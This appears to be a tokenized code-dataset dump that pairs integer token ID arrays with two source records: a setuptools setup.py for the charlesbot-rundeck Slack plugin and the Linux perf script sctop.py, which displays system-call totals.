[ 3909, 370, 314, 3668, 2290, 2752, 334, 14950, 9, 1334, 1373, 503, 1655, 202, 199, 3, 11615, 4190, 14024, 14, 221, 1666, 314, 12840, 570, 1854, 543, 202, 199, 3, 642, 1736, 367, 4722, 2556, 12602, 4248, 12715, 14, 202, 199, 3, 710, 14857, 12378, 642, 570, 370, 2047, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 202, 199, 3, 334, 1589, 298, 3761, 3547, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 202, 199, 3, 314, 844, 14, 221, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 202, 199, 3, 202, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 202, 199, 3, 202, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 202, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 202, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 202, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 202, 199, 3, 4204, 1334, 314, 844, 14, 2999, 199, 624, 202, 199, 46, 1545, 526, 9944, 8142, 5253, 334, 1014, 921, 1544, 14, 685, 21936, 3467, 14, 957, 9, 202, 199, 3735, 3794, 26, 1455, 921, 4757, 14, 685, 21936, 3467, 14, 957, 202, 199, 10502, 701, 7173, 736, 598, 974, 810, 11560, 334, 2859, 921, 77, 631, 14, 2308, 9, 202, 199, 624, 2999, 199, 646, 1300, 772, 202, 199, 646, 984, 202, 199, 646, 900, 202, 199, 646, 747, 202, 199, 646, 14755, 2999, 199, 504, 17069, 14, 1208, 14, 647, 19, 492, 8809, 202, 199, 504, 17069, 14, 1208, 14, 647, 19, 492, 330, 202, 199, 504, 17069, 14, 1208, 14, 647, 19, 492, 16511, 2999, 199, 504, 17069, 14, 3357, 14, 9710, 492, 18489, 202, 199, 504, 17069, 14, 2330, 14, 1095, 492, 21072, 12, 8113, 1899, 3325, 1197, 202, 199, 504, 17069, 14, 3357, 14, 1313, 492, 334, 1716, 2223, 12, 6378, 35, 10428, 547, 12, 202, 2511, 8003, 4091, 547, 9, 202, 199, 504, 17069, 14, 3357, 14, 1095, 492, 334, 1716, 12, 5013, 6158, 12, 5013, 3491, 12, 5013, 2320, 12, 202, 3521, 5013, 6592, 9, 202, 199, 504, 17069, 14, 1208, 14, 1200, 316, 492, 365, 63, 4239, 63, 5327, 2999, 199, 3735, 63, 5449, 275, 283, 1246, 14, 685, 21936, 3467, 14, 957, 7, 2999, 199, 8063, 63, 6689, 63, 5443, 275, 469, 1128, 283, 265, 356, 5013, 2223, 14, 17305, 12, 1128, 283, 1997, 356, 5013, 2223, 14, 11588, 12, 1128, 283, 5187, 356, 5013, 2223, 14, 11588, 12, 202, 199, 93, 2999, 199, 5600, 63, 12801, 63, 15639, 275, 359, 12942, 14, 3593, 12, 8809, 14, 13089, 1149, 12, 8809, 14, 26561, 12, 8282, 8809, 14, 2826, 63, 9663, 61, 2999, 199, 3, 1202, 315, 1218, 63, 932, 436, 9314, 4212, 5002, 5431, 370, 664, 314, 769, 402, 3380, 436, 202, 199, 3, 1104, 340, 314, 13903, 2737, 1031, 365, 2337, 14, 961, 365, 2952, 1380, 282, 1056, 365, 202, 199, 3, 4847, 370, 1218, 282, 1031, 12, 653, 1545, 526, 9944, 1833, 6528, 543, 314, 3906, 1305, 12, 436, 440, 314, 1031, 202, 199, 3, 6337, 12850, 781, 2793, 1133, 1172, 314, 3384, 7149, 12, 626, 787, 1415, 315, 12287, 63, 932, 202, 199, 14657, 63, 619, 12510, 9730, 275, 1616, 8065, 199, 533, 5013, 1197, 8, 785, 304, 1128, 347, 636, 826, 721, 277, 12, 1305, 12, 536, 12, 4575, 63, 498, 29, 403, 12, 790, 63, 923, 29, 403, 12, 20085, 2505, 29, 403, 304, 1039, 291, 14, 344, 275, 1305, 1039, 291, 14, 354, 275, 536, 1039, 291, 14, 498, 63, 923, 275, 790, 63, 923, 1039, 291, 14, 2060, 275, 2505, 1039, 291, 14, 3455, 63, 498, 275, 4575, 63, 498, 2958, 347, 636, 2722, 721, 277, 304, 1039, 372, 334, 4827, 1716, 1197, 26, 1305, 2458, 83, 12, 536, 2458, 83, 5971, 450, 2628, 334, 277, 14, 344, 12, 291, 14, 354, 430, 8065, 199, 533, 653, 1545, 526, 3467, 2364, 8, 9653, 2364, 304, 1128, 408, 1128, 653, 1545, 526, 3467, 3261, 7232, 1128, 408, 2958, 347, 2198, 63, 705, 8, 277, 304, 1039, 340, 291, 14, 1205, 508, 8809, 14, 1734, 25303, 1149, 26, 1675, 746, 6378, 35, 10428, 547, 360, 11626, 16277, 358, 1039, 340, 291, 14, 1205, 508, 8809, 14, 4609, 63, 13945, 26, 1675, 746, 2186, 480, 1918, 2073, 1265, 787, 10023, 367, 365, 440, 1911, 2685, 4341, 372, 291, 14, 2030, 2958, 347, 3182, 8, 277, 304, 1039, 372, 291, 14, 1205, 315, 22049, 63, 12801, 63, 15639, 8065, 199, 533, 653, 1545, 526, 3467, 3225, 8, 3225, 1899, 3325, 1197, 304, 1128, 408, 1128, 653, 1545, 526, 3467, 1950, 1021, 14, 1128, 3590, 2815, 2335, 370, 314, 3261, 4012, 10082, 15995, 1128, 543, 3434, 15, 2060, 1128, 408, 1128, 1591, 275, 3261, 63, 5449, 1128, 1177, 24342, 275, 653, 1545, 526, 3467, 2364, 2958, 2040, 63, 24824, 275, 756, 2958, 347, 1050, 63, 885, 63, 2139, 8, 277, 12, 2323, 304, 1039, 408, 1039, 2654, 2633, 626, 787, 5784, 367, 4036, 1056, 1039, 408, 1039, 922, 63, 66, 772, 275, 1300, 772, 14, 66, 772, 2143, 8, 66, 3508, 83, 2689, 83, 7, 450, 334, 277, 14, 751, 63, 344, 12, 291, 14, 498, 1724, 1039, 2323, 459, 11626, 418, 275, 283, 6845, 450, 83, 7, 450, 334, 751, 63, 66, 772, 14, 2708, 360, 1624, 13, 24, 1333, 1039, 372, 2323, 8065, 199, 533, 653, 1545, 526, 3467, 1716, 6158, 8, 1716, 6158, 304, 1128, 408, 1128, 653, 1545, 526, 3467, 1031, 5253, 1021, 14, 2958, 1306, 687, 17069, 14, 3357, 14, 9710, 492, 664, 63, 3090, 1128, 1306, 5253, 275, 664, 63, 3090, 360, 685, 21936, 3467, 358, 1128, 1306, 2557, 275, 5253, 360, 685, 21936, 63, 751, 1673, 685, 21936, 63, 2060, 358, 1128, 1306, 2557, 14, 513, 63, 2415, 342, 1128, 408, 2958, 730, 275, 18489, 14, 46, 6102, 2979, 24333, 1128, 2986, 63, 354, 275, 283, 685, 21936, 3467, 7, 1128, 536, 275, 283, 46, 1545, 526, 9944, 7, 1128, 10691, 275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, 1, 1, 1, 1, 1, 1 ]
marvinpinto/charlesbot-rundeck
setup.py
1
1210
from setuptools import setup, find_packages with open('README.rst') as readme_file: readme = readme_file.read() requirements = [ # TODO: add any additional package requirements here 'charlesbot', ] test_requirements = [ # TODO: add any additional package test requirements here 'asynctest', 'coverage', 'flake8', ] setup( name='charlesbot-rundeck', version='0.2.2', description="A Charlesbot plugin that integrates with Rundeck", long_description=readme, author="Marvin Pinto", author_email='marvin@pinto.im', url='https://github.com/marvinpinto/charlesbot-rundeck', packages=[ 'charlesbot_rundeck', ], package_dir={'charlesbot_rundeck': 'charlesbot_rundeck'}, include_package_data=True, install_requires=requirements, license="MIT", zip_safe=False, keywords='slack robot chatops charlesbot charlesbot-rundeck', classifiers=[ 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Programming Language :: Python :: 3.4', ], test_suite='nose.collector', tests_require=test_requirements )
mit
[ 504, 9116, 492, 3272, 12, 2342, 63, 5154, 199, 199, 1045, 1551, 360, 18195, 14, 8332, 358, 465, 1586, 278, 63, 493, 26, 272, 1586, 278, 275, 1586, 278, 63, 493, 14, 739, 342, 199, 199, 7538, 275, 359, 272, 327, 3254, 26, 1050, 1263, 4722, 2559, 9760, 2348, 272, 283, 1560, 2978, 3018, 297, 199, 61, 199, 199, 396, 63, 7538, 275, 359, 272, 327, 3254, 26, 1050, 1263, 4722, 2559, 511, 9760, 2348, 272, 283, 4146, 396, 297, 272, 283, 10828, 297, 272, 283, 14163, 415, 24, 297, 199, 61, 199, 199, 2758, 8, 272, 536, 534, 1560, 2978, 3018, 13, 1065, 31919, 297, 272, 1015, 534, 16, 14, 18, 14, 18, 297, 272, 1369, 628, 33, 6659, 2978, 3018, 3589, 626, 21494, 83, 543, 3378, 31919, 401, 272, 1846, 63, 1802, 29, 32709, 12, 272, 4132, 628, 10570, 11908, 510, 9924, 401, 272, 4132, 63, 2123, 534, 4584, 11908, 32, 80, 9924, 14, 1017, 297, 272, 1166, 534, 2859, 921, 5031, 14, 957, 15, 4584, 86, 11416, 9924, 15, 1560, 2978, 3018, 13, 1065, 31919, 297, 272, 6117, 1524, 267, 283, 1560, 2978, 3018, 63, 1065, 31919, 297, 272, 2156, 272, 2559, 63, 694, 3713, 1560, 2978, 3018, 63, 1065, 31919, 356, 326, 283, 1560, 2978, 3018, 63, 1065, 31919, 2267, 272, 2387, 63, 2491, 63, 576, 29, 549, 12, 272, 3907, 63, 6537, 29, 7538, 12, 272, 4190, 628, 13965, 401, 272, 3482, 63, 3489, 29, 797, 12, 272, 7681, 534, 24567, 14544, 21472, 1483, 1495, 2978, 3018, 1495, 2978, 3018, 13, 1065, 31919, 297, 272, 19137, 1524, 267, 283, 23753, 9795, 3800, 650, 446, 32657, 297, 267, 283, 23910, 23975, 3800, 23493, 297, 267, 283, 3761, 3800, 25718, 26330, 3800, 10697, 844, 297, 267, 283, 11411, 8466, 3800, 2018, 3800, 650, 14, 20, 297, 272, 2156, 272, 511, 63, 5768, 534, 21085, 14, 10946, 297, 272, 2295, 63, 4365, 29, 396, 63, 7538, 199, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 9116, 492, 3272, 12, 2342, 63, 5154, 199, 199, 1045, 1551, 360, 18195, 14, 8332, 358, 465, 1586, 278, 63, 493, 26, 272, 1586, 278, 275, 1586, 278, 63, 493, 14, 739, 342, 199, 199, 7538, 275, 359, 272, 327, 3254, 26, 1050, 1263, 4722, 2559, 9760, 2348, 272, 283, 1560, 2978, 3018, 297, 199, 61, 199, 199, 396, 63, 7538, 275, 359, 272, 327, 3254, 26, 1050, 1263, 4722, 2559, 511, 9760, 2348, 272, 283, 4146, 396, 297, 272, 283, 10828, 297, 272, 283, 14163, 415, 24, 297, 199, 61, 199, 199, 2758, 8, 272, 536, 534, 1560, 2978, 3018, 13, 1065, 31919, 297, 272, 1015, 534, 16, 14, 18, 14, 18, 297, 272, 1369, 628, 33, 6659, 2978, 3018, 3589, 626, 21494, 83, 543, 3378, 31919, 401, 272, 1846, 63, 1802, 29, 32709, 12, 272, 4132, 628, 10570, 11908, 510, 9924, 401, 272, 4132, 63, 2123, 534, 4584, 11908, 32, 80, 9924, 14, 1017, 297, 272, 1166, 534, 2859, 921, 5031, 14, 957, 15, 4584, 86, 11416, 9924, 15, 1560, 2978, 3018, 13, 1065, 31919, 297, 272, 6117, 1524, 267, 283, 1560, 2978, 3018, 63, 1065, 31919, 297, 272, 2156, 272, 2559, 63, 694, 3713, 1560, 2978, 3018, 63, 1065, 31919, 356, 326, 283, 1560, 2978, 3018, 63, 1065, 31919, 2267, 272, 2387, 63, 2491, 63, 576, 29, 549, 12, 272, 3907, 63, 6537, 29, 7538, 12, 272, 4190, 628, 13965, 401, 272, 3482, 63, 3489, 29, 797, 12, 272, 7681, 534, 24567, 14544, 21472, 1483, 1495, 2978, 3018, 1495, 2978, 3018, 13, 1065, 31919, 297, 272, 19137, 1524, 267, 283, 23753, 9795, 3800, 650, 446, 32657, 297, 267, 283, 23910, 23975, 3800, 23493, 297, 267, 283, 3761, 3800, 25718, 26330, 3800, 10697, 844, 297, 267, 283, 11411, 8466, 3800, 2018, 3800, 650, 14, 20, 297, 272, 2156, 272, 511, 63, 5768, 534, 21085, 14, 10946, 297, 272, 2295, 63, 4365, 29, 396, 63, 7538, 199, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
nunogia/Z7Max_NX505J_H129_kernel
tools/perf/scripts/python/sctop.py
11180
1924
# system call top # (c) 2010, Tom Zanussi <tzanussi@gmail.com> # Licensed under the terms of the GNU GPL License version 2 # # Periodically displays system-wide system call totals, broken down by # syscall. If a [comm] arg is specified, only syscalls called by # [comm] are displayed. If an [interval] arg is specified, the display # will be refreshed every [interval] seconds. The default interval is # 3 seconds. import os, sys, thread, time sys.path.append(os.environ['PERF_EXEC_PATH'] + \ '/scripts/python/Perf-Trace-Util/lib/Perf/Trace') from perf_trace_context import * from Core import * from Util import * usage = "perf script -s sctop.py [comm] [interval]\n"; for_comm = None default_interval = 3 interval = default_interval if len(sys.argv) > 3: sys.exit(usage) if len(sys.argv) > 2: for_comm = sys.argv[1] interval = int(sys.argv[2]) elif len(sys.argv) > 1: try: interval = int(sys.argv[1]) except ValueError: for_comm = sys.argv[1] interval = default_interval syscalls = autodict() def trace_begin(): thread.start_new_thread(print_syscall_totals, (interval,)) pass def raw_syscalls__sys_enter(event_name, context, common_cpu, common_secs, common_nsecs, common_pid, common_comm, id, args): if for_comm is not None: if common_comm != for_comm: return try: syscalls[id] += 1 except TypeError: syscalls[id] = 1 def print_syscall_totals(interval): while 1: clear_term() if for_comm is not None: print "\nsyscall events for %s:\n\n" % (for_comm), else: print "\nsyscall events:\n\n", print "%-40s %10s\n" % ("event", "count"), print "%-40s %10s\n" % ("----------------------------------------", \ "----------"), for id, val in sorted(syscalls.iteritems(), key = lambda(k, v): (v, k), \ reverse = True): try: print "%-40s %10d\n" % (syscall_name(id), val), except TypeError: pass syscalls.clear() time.sleep(interval)
gpl-2.0
[ 3, 2656, 1240, 2746, 199, 3, 334, 67, 9, 7129, 12, 21644, 29385, 665, 29453, 32, 6799, 14, 957, 30, 199, 3, 3909, 1334, 314, 2895, 402, 314, 1664, 14629, 844, 1015, 499, 199, 3, 199, 3, 3492, 11273, 1183, 17561, 2656, 13, 13062, 2656, 1240, 23576, 12, 10529, 3224, 701, 199, 3, 18901, 14, 221, 982, 282, 359, 1404, 61, 1680, 365, 2013, 12, 1454, 19473, 2797, 701, 199, 3, 359, 1404, 61, 787, 9080, 14, 982, 376, 359, 4284, 61, 1680, 365, 2013, 12, 314, 2929, 199, 3, 911, 506, 9236, 379, 4036, 359, 4284, 61, 4696, 14, 221, 710, 849, 6252, 365, 199, 3, 650, 4696, 14, 199, 199, 646, 747, 12, 984, 12, 2462, 12, 900, 199, 199, 1274, 14, 515, 14, 740, 8, 736, 14, 2314, 459, 17038, 63, 10276, 63, 3243, 418, 435, 971, 199, 198, 9807, 6429, 15, 1548, 15, 12387, 13, 3921, 13, 9562, 15, 773, 15, 12387, 15, 3921, 358, 199, 199, 504, 8582, 63, 3446, 63, 1100, 492, 627, 199, 504, 11672, 492, 627, 199, 504, 21248, 492, 627, 199, 199, 3807, 275, 298, 9452, 2884, 446, 83, 308, 319, 411, 14, 647, 359, 1404, 61, 359, 4284, 7272, 78, 11436, 199, 199, 509, 63, 1404, 275, 488, 199, 885, 63, 4284, 275, 650, 199, 4284, 275, 849, 63, 4284, 199, 199, 692, 822, 8, 1274, 14, 3020, 9, 690, 650, 26, 199, 198, 1274, 14, 2224, 8, 3807, 9, 199, 199, 692, 822, 8, 1274, 14, 3020, 9, 690, 499, 26, 199, 198, 509, 63, 1404, 275, 984, 14, 3020, 59, 17, 61, 199, 198, 4284, 275, 1109, 8, 1274, 14, 3020, 59, 18, 566, 199, 4164, 822, 8, 1274, 14, 3020, 9, 690, 413, 26, 199, 198, 893, 26, 507, 198, 4284, 275, 1109, 8, 1274, 14, 3020, 59, 17, 566, 199, 198, 2590, 1722, 26, 507, 198, 509, 63, 1404, 275, 984, 14, 3020, 59, 17, 61, 507, 198, 4284, 275, 849, 63, 4284, 199, 199, 14507, 275, 27477, 342, 199, 199, 318, 3307, 63, 5037, 837, 199, 198, 2671, 14, 928, 63, 1222, 63, 2671, 8, 1361, 63, 19444, 63, 17552, 12, 334, 4284, 4641, 199, 198, 1529, 199, 199, 318, 3066, 63, 14507, 363, 1274, 63, 4200, 8, 1430, 63, 354, 12, 1067, 12, 2863, 63, 3541, 12, 199, 198, 2330, 63, 4855, 12, 2863, 63, 9618, 12, 2863, 63, 3150, 12, 2863, 63, 1404, 12, 199, 198, 344, 12, 1249, 304, 199, 198, 692, 367, 63, 1404, 365, 440, 488, 26, 507, 198, 692, 2863, 63, 1404, 1137, 367, 63, 1404, 26, 686, 198, 1107, 199, 198, 893, 26, 507, 198, 14507, 59, 344, 61, 847, 413, 199, 198, 2590, 3146, 26, 507, 198, 14507, 59, 344, 61, 275, 413, 199, 199, 318, 870, 63, 19444, 63, 17552, 8, 4284, 304, 199, 198, 6710, 413, 26, 507, 198, 3584, 63, 5125, 342, 507, 198, 692, 367, 63, 1404, 365, 440, 488, 26, 686, 198, 1361, 1867, 26605, 4474, 367, 450, 83, 3427, 78, 60, 78, 2, 450, 334, 509, 63, 1404, 395, 507, 198, 2836, 26, 686, 198, 1361, 1867, 26605, 4474, 3427, 78, 60, 78, 401, 2742, 198, 1361, 18301, 2167, 83, 221, 450, 709, 83, 60, 78, 2, 450, 1689, 1430, 401, 298, 835, 1288, 507, 198, 1361, 18301, 2167, 83, 221, 450, 709, 83, 60, 78, 2, 450, 1689, 32111, 401, 971, 5264, 298, 9460, 1288, 2742, 198, 509, 1305, 12, 1139, 315, 3355, 8, 14507, 14, 4611, 1062, 790, 275, 2400, 8, 75, 12, 373, 304, 334, 86, 12, 1022, 395, 971, 4671, 420, 3837, 275, 715, 304, 686, 198, 893, 26, 1585, 198, 1361, 18301, 2167, 83, 221, 450, 709, 68, 60, 78, 2, 450, 334, 19444, 63, 354, 8, 344, 395, 1139, 395, 686, 198, 2590, 3146, 26, 1585, 198, 1529, 507, 198, 14507, 14, 3584, 342, 507, 198, 521, 14, 4532, 8, 4284, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 